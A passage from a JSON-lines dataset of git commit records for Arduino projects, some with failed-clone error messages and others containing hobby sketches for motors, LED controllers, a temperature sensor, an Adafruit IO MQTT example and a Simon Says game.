MIMIC_SASA.ino","repos":"ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic","old_file":"Arduino\/MIMIC_Extras\/SASA\/MIMIC_SASA.ino","new_file":"Arduino\/MIMIC_Extras\/SASA\/MIMIC_SASA.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: Unable to read current working directory: No such file or directory\nfatal: index-pack failed\n","license":"mit","lang":"Arduino"} {"commit":"6753a9b8af24d9c07caf63fcbe97ecba8d0bd8d6","subject":"addExcessPower function and test","message":"addExcessPower function and test\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b526e6f4effecdc64f0099771443a50fc99aa034","subject":"calcCharge tested","message":"calcCharge tested\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"94c0349e0bda812cba3df4e43cc635a62e562732","subject":"Implements Lesson 4.3.","message":"Implements Lesson 4.3.\n","repos":"SumoRobotLeague\/MRK-1,SumoRobotLeague\/MRK-1","old_file":"Chapter_4\/Lesson_4.3\/Lesson_4.3_Motors.ino","new_file":"Chapter_4\/Lesson_4.3\/Lesson_4.3_Motors.ino","new_contents":"\/********************************************************************\n An Introduction to Robot Programming\n Author - Eric Ryan Harrison <me@ericharrison.info>\n http:\/\/github.com\/SumoRobotLeague\/MRK-1\/\n\n Lesson 4.3, Motor Control\n********************************************************************\/\n\n\/\/ Pin definitions\n#define rightMotorSpeed 10\n#define rightMotorDirection 8\n#define leftMotorSpeed 9\n#define leftMotorDirection 4\n\nvoid setup() {\n\tSerial.begin(9600);\n\tpinMode(rightMotorSpeed, OUTPUT);\n\tpinMode(rightMotorDirection, OUTPUT);\n\tpinMode(leftMotorSpeed, OUTPUT);\n\tpinMode(leftMotorDirection, OUTPUT);\n\tdelay(1000);\n}\n\nvoid loop() {\n\t\/\/ Set our right motor to go full speed forward\n\tdigitalWrite(rightMotorDirection, LOW);\n\tanalogWrite(rightMotorSpeed, 255);\n\n\t\/\/ Set our left motor to go full speed in reverse\n\t\/\/ NOTE: The left motor is installed backwards, so\n\t\/\/ \"forward\" is the opposite motor direction from\n\t\/\/ your right motor.\n\t\/\/ LOW = reverse, HIGH = forward\n\tdigitalWrite(leftMotorDirection, LOW);\n\tanalogWrite(leftMotorSpeed, 255);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Chapter_4\/Lesson_4.3\/Lesson_4.3_Motors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"220fbef4e8507a34d2ab3c9d7aa0c9479ff26d66","subject":"contract address changed","message":"contract address changed\n","repos":"bitsybits\/bitsybits-core,bitsybits\/bitsybits-core","old_file":"src\/bitsybits-sketch.ino","new_file":"src\/bitsybits-sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitsybits\/bitsybits-core.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e512251ccc058c986c9c892703fccc8c15930b13","subject":"Added Arduino sketch","message":"Added Arduino sketch\n","repos":"xythobuz\/CaseLights,xythobuz\/CaseLights,xythobuz\/CaseLights","old_file":"CaseLights.ino","new_file":"CaseLights.ino","new_contents":"\/*\n * CaseLights\n * \n * Arduino RGB LED Controller with Serial interface.\n * \n * Two commands are supported, ending with a new-line:\n * \n * RGB r g b\n * \n * UV s\n * \n * The RGB command sets the PWM output for the LEDs.\n * The UV command turns the UV lights on or off (s can be 0 or 1).\n *\/\n\n\/\/#define DEBUG\n\nstatic int redPin = 10;\nstatic int greenPin = 9;\nstatic int bluePin = 11;\nstatic int uvPin = 13;\n\nvoid setup() {\n Serial.begin(115200);\n \n pinMode(redPin, OUTPUT);\n pinMode(greenPin, OUTPUT);\n pinMode(bluePin, OUTPUT);\n pinMode(uvPin, OUTPUT);\n \n analogWrite(redPin, 0);\n analogWrite(greenPin, 0);\n analogWrite(bluePin, 0);\n digitalWrite(uvPin, LOW);\n\n#ifdef DEBUG\n Serial.println(\"CaseLights initialized\");\n#endif\n}\n\nvoid loop() {\n if (Serial.available() > 0) {\n int c = Serial.read();\n if (c == 'R') {\n c = Serial.read();\n if (c == 'G') {\n c = Serial.read();\n if (c == 'B') {\n int r = Serial.parseInt();\n int g = Serial.parseInt();\n int b = Serial.parseInt();\n analogWrite(redPin, r);\n analogWrite(greenPin, g);\n analogWrite(bluePin, b);\n#ifdef DEBUG\n Serial.print(\"RGB set \");\n Serial.print(r);\n Serial.print(' ');\n Serial.print(g);\n Serial.print(' ');\n Serial.print(b);\n Serial.println();\n#endif\n } else {\n#ifdef DEBUG\n Serial.print(\"Invalid character after G: \");\n Serial.print(c);\n Serial.println();\n#endif\n }\n } else {\n#ifdef DEBUG\n Serial.print(\"Invalid character after R: \");\n Serial.print(c);\n Serial.println();\n#endif\n }\n } else if (c == 'U') {\n c = Serial.read();\n if (c == 'V') {\n c = Serial.parseInt();\n if (c == 0) {\n digitalWrite(uvPin, LOW);\n#ifdef DEBUG\n Serial.println(\"UV off\");\n#endif\n } else if (c == 1) {\n digitalWrite(uvPin, HIGH);\n#ifdef DEBUG\n Serial.println(\"UV on\");\n#endif\n } else {\n#ifdef DEBUG\n Serial.print(\"Invalid character for UV: \");\n Serial.print(c);\n Serial.println();\n#endif\n }\n } else {\n#ifdef DEBUG\n Serial.print(\"Invalid character after U: \");\n Serial.print(c);\n Serial.println();\n#endif\n }\n } else if ((c == '\\n') || (c == '\\r')) {\n#ifdef DEBUG\n Serial.println(\"Skipping new-line or carriage-return...\");\n#endif\n } else {\n#ifdef DEBUG\n Serial.print(\"Invalid character: \");\n Serial.print(c);\n Serial.println();\n#endif\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CaseLights.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8a6f23db69bc8277f2c35c984303825a2c2ff1bd","subject":"Added the DS18B20 digital temp sensor to replace the analog TMP36","message":"Added the DS18B20 digital temp sensor to replace the analog TMP36\n","repos":"DevMolasses\/FumeHoodMonitor","old_file":"FumeHoodMonitor\/DS18B20.ino","new_file":"FumeHoodMonitor\/DS18B20.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n#define ONE_WIRE_BUS 19\n\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\n\nconst int numDS18B20Readings = 5;\nconst float maxDS18B20Temperature = 200.0; \/\/Deg F\nfloat DS18B20readings[numDS18B20Readings];\nint DS18B20readIndex = 0;\nfloat DS18B20total = 0;\nfloat DS18B20average = 0;\n\nvoid initializeDS18B20() {\n writeLCD(\"Starting DC18B20...\");\n sensors.begin();\n\n for (int thisReading = 0; thisReading < numDS18B20Readings; thisReading++){\n sensors.requestTemperatures();\n DS18B20readings[thisReading] = sensors.getTempFByIndex(0);\n DS18B20total += DS18B20readings[thisReading];\n }\n}\n\nfloat readDS18B20Temp() {\n updateDS18B20Readings();\n return DS18B20average;\n}\n\nvoid updateDS18B20Readings(){\n sensors.requestTemperatures();\n DS18B20total -= DS18B20readings[DS18B20readIndex];\n DS18B20readings[DS18B20readIndex] = sensors.getTempFByIndex(0);\n DS18B20total += DS18B20readings[DS18B20readIndex];\n DS18B20readIndex++;\n if (DS18B20readIndex >= numDS18B20Readings)DS18B20readIndex = 0;\n DS18B20average = DS18B20total \/ numDS18B20Readings;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FumeHoodMonitor\/DS18B20.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"98a8548b8a7d09813eaeb7ef7134683934d5d064","subject":"adds cc3000 analog out example","message":"adds cc3000 analog out example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-cc3000\/analog-out\/analog-out.ino","new_file":"arduino-cc3000\/analog-out\/analog-out.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library CC3000 Example\n\n Designed specifically to work with the Adafruit WiFi products:\n ----> https:\/\/www.adafruit.com\/products\/1469\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <Adafruit_SleepyDog.h>\n#include <Adafruit_CC3000.h>\n#include <SPI.h>\n#include \"utility\/debug.h\"\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_CC3000.h\"\n\n\/****************************** Pins ******************************************\/\n\n#define LED 9 \/\/ PWM pin\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n#define ADAFRUIT_CC3000_VBAT 5 \/\/ VBAT & CS can be any digital pins.\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\" \/\/ can't be longer than 32 characters!\n#define WLAN_PASS \"...your password...\"\n#define WLAN_SECURITY WLAN_SEC_WPA2 \/\/ Can be: WLAN_SEC_UNSEC, WLAN_SEC_WEP,\n \/\/ WLAN_SEC_WPA or WLAN_SEC_WPA2\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Setup the main CC3000 class, just like a normal CC3000 sketch.\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT);\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the CC3000 MQTT class by passing in the CC3000 class and MQTT server and login details.\nAdafruit_MQTT_CC3000 mqtt(&cc3000, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\/\/ CC3000connect is a helper function that sets up the CC3000 and connects to\n\/\/ the WiFi network. See the cc3000helper.cpp tab above for the source!\nboolean CC3000connect(const char* wlan_ssid, const char* wlan_pass, uint8_t wlan_security);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'photocell' for subscribing to changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char PHOTOCELL_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/photocell\";\nAdafruit_MQTT_Subscribe photocell = Adafruit_MQTT_Subscribe(&mqtt, PHOTOCELL_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup() {\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example:\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Initialise the CC3000 module\n Serial.print(F(\"\\nInit the CC3000...\"));\n if (! cc3000.begin())\n halt(\"Failed\");\n\n \/\/ attempt wifi connection\n while (! CC3000connect(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Retrying WiFi\"));\n while(1);\n }\n Serial.println(F(\"Connected to WiFi!\"));\n\n \/\/ listen for events on the photocell feed\n mqtt.subscribe(&photocell);\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n Adafruit_MQTT_Subscribe *subscription;\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n while (subscription = mqtt.readSubscription(1000)) {\n\n \/\/ we only care about the photocell events\n if (subscription == &photocell) {\n\n \/\/ convert mqtt ascii payload to int\n char *value = photocell.lastread;\n Serial.print(F(\"Received: \"));\n Serial.println(value);\n int reading = atoi(value);\n\n \/\/ LED gets brighter the darker it is at the sensor\n \/\/ that means we have to -invert- the reading from 0-1023 back to 1023-0\n reading = 1023 - reading;\n\n \/\/now we have to map 0-1023 to 0-255 since thats the range analogWrite uses\n int brightness = map(reading, 0, 1023, 0, 255);\n analogWrite(LED, brightness);\n\n }\n\n }\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default:\n Serial.println(F(\"Connection failed\"));\n CC3000connect(WLAN_SSID, WLAN_PASS, WLAN_SECURITY);\n break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-cc3000\/analog-out\/analog-out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"98d01726fbeabe4622c88a2dba88266ae81df40c","subject":"tama on se viimeisin versio joka toimii","message":"tama on se viimeisin versio joka toimii","repos":"miikama\/pajakurssi","old_file":"motorcontrol2.ino","new_file":"motorcontrol2.ino","new_contents":"#include \"Time.h\"\n#include \"math.h\"\n\n\n\/* Rotary encoder read example *\/\n#define ENC_A 3\n#define ENC_PORT PINC\n#define DC_MOTOR 9\n\n\ntime_t time_start = micros();\ntime_t time_end = 0; \n\ntime_t from_last_speedup = 0;\ntime_t speeduptime = millis();\n\nconst float pi = 3.141593;\nfloat target_w = 0; \nfloat omega = (2*pi * pow(10,6)) \/ (time_end - time_start); \/\/angular velocity rad\/s\n\nvolatile int encoderValue = 0;\n\n\/\/void count(void); \/\/ code for counting the increasing values of encoder ticks \n\n \nvoid setup()\n{\n \n \n Serial.begin (9600); \n Serial.println(\"Start\");\n Serial.println(\"give the target angular velocity (voltage between 0 and 255)\");\n target_w = read_serial();\n \n \/\/starting motor and waiting for a bit\n analogWrite(DC_MOTOR, target_w);\n delay(10); \n \n \/* Setup encoder pins as inputs *\/\n pinMode(ENC_A, INPUT);\n \/\/digitalWrite(ENC_A, LOW);\n attachInterrupt(0,count,CHANGE);\n \n}\n \nvoid loop()\n{\n\n \n if( (encoderValue % 50) == 0 ) {\n time_end = micros(); \n omega = (50 * 2*pi * pow(10,6)) \/ (time_end - time_start);\n Serial.print(\"angular velocity: \");\n Serial.println(omega, 5);\n time_start = micros();\n \n \n }\n \n}\n\n\n\/* reads the serial for user inputted numbers*\/\nint read_serial() \n{\n char intBuffer[12];\n String intData = \"\";\n int delimiter = (int) '\\n';\n \n while(!Serial.available());\n while(1){\n int ch = Serial.read();\n if(ch == -1) {}\n else if (ch == delimiter) {\n break;\n }\n else {\n intData += (char) ch;\n }\n }\n int intLength = intData.length() +1;\n intData.toCharArray(intBuffer, intLength);\n intData = \"\";\n int i = atoi(intBuffer);\n return i;\n}\n \n \n\/\/used for the pin interrupt\nvoid count()\n{\n encoderValue++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'motorcontrol2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5f6e74eaabc1bcfc78ec206f6e9e68369526871","subject":"Initial code for working with a RELAY","message":"Initial code for working with a RELAY\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"[learning]\/Relay\/Relay.ino","new_file":"[learning]\/Relay\/Relay.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d43c99352a0f8463415739d8f743705466747353","subject":"Expanded function comments.","message":"Expanded function comments.\n","repos":"davidtimmons\/simon-says-circuit","old_file":"simon_says\/simon_says.ino","new_file":"simon_says\/simon_says.ino","new_contents":"\/**\n * An Arduino circuit design and program that simulates the game \"Simon Says\".\n *\n * Author: David Timmons ( http:\/\/david.timmons.io )\n * License: MIT\n *\/\n\n\/\/ Turn debug mode on or off; this toggles serial monitor printing.\nconst boolean DEBUG = false;\n\n\/\/ Define LED pin positions.\nconst int RED_1 = 13;\nconst int RED_2 = 12;\nconst int RED_3 = 11;\nconst int SIMON_1 = 5;\nconst int SIMON_2 = 4;\nconst int SIMON_3 = 3;\nconst int SIMON_4 = 2;\nconst int QTY = 7;\nconst int LEDS[QTY] = {RED_1, RED_2, RED_3, SIMON_1, SIMON_2, SIMON_3, SIMON_4};\n\n\/\/ Define switch pin positions.\nconst int TILT = 10;\nconst int BUTTONS = A1;\n\n\/\/ Define game settings.\nconst int LIGHT_DELAY = 700;\nconst int GAME_SPEED = 700;\nconst int TOTAL_LEVELS = 128;\nconst int TOTAL_LIVES = 3;\nboolean gameStart = false;\n\n\n\/**\n * Initialize the Arduino.\n *\/\nvoid setup() {\n\n \/\/ Print debug results to the serial monitor.\n if (DEBUG) Serial.begin(9600);\n\n \/\/ Set all LEDs to output mode.\n for (int i = 0; i < QTY; i++) {\n pinMode(LEDS[i], OUTPUT);\n }\n\n \/\/ Set tilt switch to input mode.\n pinMode(TILT, INPUT);\n}\n\n\n\/**\n * Control the Arduino.\n *\/\nvoid loop() {\n\n \/\/ Cycle LEDs until the player starts a game while checking for game start.\n while (!gameStart) {\n playLightShow(); \/\/ The tilt switch starts a new game.\n }\n\n \/\/ Create a random 'Simon Says' pattern.\n int pattern[TOTAL_LEVELS];\n for (int i = 0; i < TOTAL_LEVELS; i++) {\n int num = 1 + random(4); \/\/ Random between [1, 4].\n if (num == 1) pattern[i] = SIMON_1;\n else if (num == 2) pattern[i] = SIMON_2;\n else if (num == 3) pattern[i] = SIMON_3;\n else pattern[i] = SIMON_4;\n }\n\n \/\/ Begin the game.\n playGame(pattern);\n\n \/\/ The game is over; turn off all lights and reset.\n delay(LIGHT_DELAY);\n for (int i = 0; i < QTY; i++) {\n digitalWrite(LEDS[i], LOW);\n gameStart = false;\n }\n}\n\n\n\/**\n * Return the LED associated with the active button switch.\n *\n * Args:\n * keyVal: an integer from 3 to 1023 containing the analog switch value.\n *\n * Return:\n * The corresponding LED from among the colored game diodes.\n *\/\nint getSimonLed(int keyVal) {\n\n \/\/ Get the LED.\n if (3 <= keyVal && keyVal <= 50) {\n return SIMON_4;\n } else if (500 <= keyVal && keyVal <= 550) {\n return SIMON_3;\n } else if (1000 <= keyVal && keyVal <= 1010) {\n return SIMON_2;\n } else if (keyVal >= 1020) {\n return SIMON_1;\n }\n\n \/\/ The switch is not active.\n return -1;\n}\n\n\n\/**\n * Run the 'Simon Says' game.\n *\n * Args:\n * *pattern: a pointer to an integer array containing the game LED pattern.\n *\/\nvoid playGame(int *pattern) {\n\n \/\/ Set game parameters then begin.\n int lives = TOTAL_LIVES;\n int currentLevel = 1;\n while (gameStart && lives > 0 && currentLevel < TOTAL_LEVELS) {\n\n \/\/ Display the pattern.\n for (int lvl = 0; lvl < currentLevel; lvl++) {\n\n \/\/ Blink the current pattern LED.\n digitalWrite(pattern[lvl], HIGH);\n delay(GAME_SPEED);\n digitalWrite(pattern[lvl], LOW);\n\n \/\/ Do not wait after blinking the final pattern LED.\n if (lvl + 1 != currentLevel) delay(GAME_SPEED);\n }\n\n \/\/ Check player input.\n if (verifyPlayerInput(pattern, currentLevel)) {\n\n \/\/ Check for game reset.\n if (digitalRead(TILT)) {\n gameStart = false;\n signalGameChange(1);\n return;\n }\n\n \/\/ The player was correct; move to the next level.\n currentLevel++;\n delay(GAME_SPEED);\n\n \/\/ The player was incorrect; subtract a life.\n } else {\n\n \/\/ Remove a life from the current total.\n lives--;\n\n \/\/ Turn on the next red LED.\n if (lives == TOTAL_LIVES - 1) digitalWrite(RED_1, HIGH);\n else if (lives == TOTAL_LIVES - 2) digitalWrite(RED_2, HIGH);\n else if (lives == TOTAL_LIVES - 3) digitalWrite(RED_3, HIGH);\n delay(LIGHT_DELAY);\n }\n }\n}\n\n\n\/**\n * Cycles LEDs on and off in a decorative pattern while waiting for game start.\n *\/\nvoid playLightShow() {\n\n \/\/ Cycle lights.\n for (int i = 0; i < QTY; i++) {\n\n \/\/ Get the last position in the array.\n int last = QTY - 1 - i;\n\n \/\/ Turn off previous lights.\n if (i - 1 >= 0) {\n digitalWrite(LEDS[i - 1], LOW);\n digitalWrite(LEDS[last + 1], LOW);\n }\n\n \/\/ Turn on current lights.\n digitalWrite(LEDS[i], HIGH);\n digitalWrite(LEDS[last], HIGH);\n\n \/\/ Check the tilt switch and buttons for a new game.\n if (digitalRead(TILT) || analogRead(BUTTONS) > 3) {\n gameStart = true;\n signalGameChange(2);\n return;\n }\n\n \/\/ Wait before cycling the next set of lights.\n delay(LIGHT_DELAY);\n }\n\n \/\/ Turn off final LED pair.\n digitalWrite(LEDS[0], LOW);\n digitalWrite(LEDS[QTY-1], LOW);\n}\n\n\n\/**\n * Blinks all LEDs to signal a change in game state.\n *\n * Args:\n * blinks: an integer containing the number of times to blink all LEDs.\n *\/\nvoid signalGameChange(int blinks) {\n\n \/\/ Blink all LEDs to signal a change in game state.\n for (int j = 0; j < blinks; j++) {\n for (int k = 0; k < QTY; k++) {\n digitalWrite(LEDS[k], HIGH);\n }\n delay(LIGHT_DELAY);\n for (int k = 0; k < QTY; k++) {\n digitalWrite(LEDS[k], LOW);\n }\n delay(LIGHT_DELAY * 2);\n }\n}\n\n\n\/**\n * Determine whether the player successfully matched the pattern.\n *\n * Args:\n * *pattern: a pointer to an integer array containing the game LED pattern.\n * currentLevel: an integer specifying the current game level.\n *\n * Return:\n * A boolean signaling whether the player correctly entered the current\n * game pattern.\n *\/\nboolean verifyPlayerInput(int *pattern, int currentLevel) {\n\n \/\/ Get player input up through the current game level.\n int lvl = 0;\n while (lvl < currentLevel) {\n\n \/\/ Wait for a button press.\n int simonLed = -1;\n while (simonLed == -1) {\n\n \/\/ Check for game reset.\n if (digitalRead(TILT)) return true;\n\n \/\/ Check for a button press.\n simonLed = getSimonLed(analogRead(BUTTONS));\n }\n\n \/\/ Blink the corresponding LED.\n digitalWrite(simonLed, HIGH);\n delay(GAME_SPEED);\n digitalWrite(simonLed, LOW);\n\n \/\/ Check if the button press was correct.\n if (pattern[lvl] == simonLed) lvl++;\n else return false;\n }\n\n \/\/ The player successfully matched the entire pattern.\n return true;\n}\n","old_contents":"\/**\n * An Arduino circuit design and program that simulates the game \"Simon Says\".\n *\n * Author: David Timmons ( http:\/\/david.timmons.io )\n * License: MIT\n *\/\n\n\/\/ TODO Expand function comments.\n\n\/\/ Turn debug mode on or off.\nconst boolean DEBUG = true;\n\n\/\/ Define LED pin positions.\nconst int RED_1 = 13;\nconst int RED_2 = 12;\nconst int RED_3 = 11;\nconst int SIMON_1 = 5;\nconst int SIMON_2 = 4;\nconst int SIMON_3 = 3;\nconst int SIMON_4 = 2;\nconst int QTY = 7;\nconst int LEDS[QTY] = {RED_1, RED_2, RED_3, SIMON_1, SIMON_2, SIMON_3, SIMON_4};\n\n\/\/ Define switch pin positions.\nconst int TILT = 10;\nconst int BUTTONS = A1;\n\n\/\/ Define game settings.\nconst int LIGHT_DELAY = 700;\nconst int GAME_SPEED = 700;\nconst int TOTAL_LEVELS = 128;\nconst int TOTAL_LIVES = 3;\nboolean gameStart = false;\n\n\n\/**\n * Initialize the Arduino.\n *\/\nvoid setup() {\n\n \/\/ Print debug results to the serial monitor.\n if (DEBUG) Serial.begin(9600);\n\n \/\/ Set all LEDs to output mode.\n for (int i = 0; i < QTY; i++) {\n pinMode(LEDS[i], OUTPUT);\n }\n\n \/\/ Set tilt switch to input mode.\n pinMode(TILT, INPUT);\n}\n\n\n\/**\n * Control the Arduino.\n *\/\nvoid loop() {\n\n \/\/ Cycle LEDs until the player starts a game while checking for game start.\n while (!gameStart) {\n playLightShow(); \/\/ The tilt switch starts a new game.\n }\n\n \/\/ Create a random 'Simon Says' pattern.\n int pattern[TOTAL_LEVELS];\n for (int i = 0; i < TOTAL_LEVELS; i++) {\n int num = 1 + random(4); \/\/ Random between [1, 4].\n if (num == 1) pattern[i] = SIMON_1;\n else if (num == 2) pattern[i] = SIMON_2;\n else if (num == 3) pattern[i] = SIMON_3;\n else pattern[i] = SIMON_4;\n }\n\n \/\/ Begin the game.\n playGame(pattern);\n\n \/\/ The game is over; turn off all lights and reset.\n delay(LIGHT_DELAY);\n for (int i = 0; i < QTY; i++) {\n digitalWrite(LEDS[i], LOW);\n gameStart = false;\n }\n}\n\n\n\/**\n * Return the LED associated with the active button switch.\n *\/\nint getSimonLed(int keyVal) {\n\n \/\/ Get the LED.\n if (3 <= keyVal && keyVal <= 50) {\n return SIMON_4;\n } else if (500 <= keyVal && keyVal <= 550) {\n return SIMON_3;\n } else if (1000 <= keyVal && keyVal <= 1010) {\n return SIMON_2;\n } else if (keyVal >= 1020) {\n return SIMON_1;\n }\n\n \/\/ The switch is not active.\n return -1;\n}\n\n\n\/**\n * Run the 'Simon Says' game.\n *\/\nvoid playGame(int *pattern) {\n\n \/\/ Set game parameters then begin.\n int lives = TOTAL_LIVES;\n int currentLevel = 1;\n while (gameStart && lives > 0 && currentLevel < TOTAL_LEVELS) {\n\n \/\/ Display the pattern.\n for (int lvl = 0; lvl < currentLevel; lvl++) {\n\n \/\/ Blink the current pattern LED.\n digitalWrite(pattern[lvl], HIGH);\n delay(GAME_SPEED);\n digitalWrite(pattern[lvl], LOW);\n\n \/\/ Do not wait after blinking the final pattern LED.\n if (lvl + 1 != currentLevel) delay(GAME_SPEED);\n }\n\n \/\/ Check player input.\n if (verifyPlayerInput(pattern, currentLevel)) {\n\n \/\/ Check for game reset.\n if (digitalRead(TILT)) {\n gameStart = false;\n signalGameChange(1);\n return;\n }\n\n \/\/ The player was correct; move to the next level.\n currentLevel++;\n delay(GAME_SPEED);\n\n \/\/ The player was incorrect; subtract a life.\n } else {\n\n \/\/ Remove a life from the current total.\n lives--;\n\n \/\/ Turn on the next red LED.\n if (lives == TOTAL_LIVES - 1) digitalWrite(RED_1, HIGH);\n else if (lives == TOTAL_LIVES - 2) digitalWrite(RED_2, HIGH);\n else if (lives == TOTAL_LIVES - 3) digitalWrite(RED_3, HIGH);\n delay(LIGHT_DELAY);\n }\n }\n}\n\n\n\/**\n * Cycles LEDs on and off in a decorative pattern while waiting for game start.\n *\/\nvoid playLightShow() {\n\n \/\/ Cycle lights.\n for (int i = 0; i < QTY; i++) {\n\n \/\/ Get the last position in the array.\n int last = QTY - 1 - i;\n\n \/\/ Turn off previous lights.\n if (i - 1 >= 0) {\n digitalWrite(LEDS[i - 1], LOW);\n digitalWrite(LEDS[last + 1], LOW);\n }\n\n \/\/ Turn on current lights.\n digitalWrite(LEDS[i], HIGH);\n digitalWrite(LEDS[last], HIGH);\n\n \/\/ Check the tilt switch and buttons for a new game.\n if (digitalRead(TILT) || analogRead(BUTTONS) > 3) {\n gameStart = true;\n signalGameChange(2);\n return;\n }\n\n \/\/ Wait before cycling the next set of lights.\n delay(LIGHT_DELAY);\n }\n\n \/\/ Turn off final LED pair.\n digitalWrite(LEDS[0], LOW);\n digitalWrite(LEDS[QTY-1], LOW);\n}\n\n\n\/**\n * Blinks all LEDs to signal a change in game state.\n *\/\nvoid signalGameChange(int blinks) {\n\n \/\/ Blink all LEDs to signal a change in game state.\n for (int j = 0; j < blinks; j++) {\n for (int k = 0; k < QTY; k++) 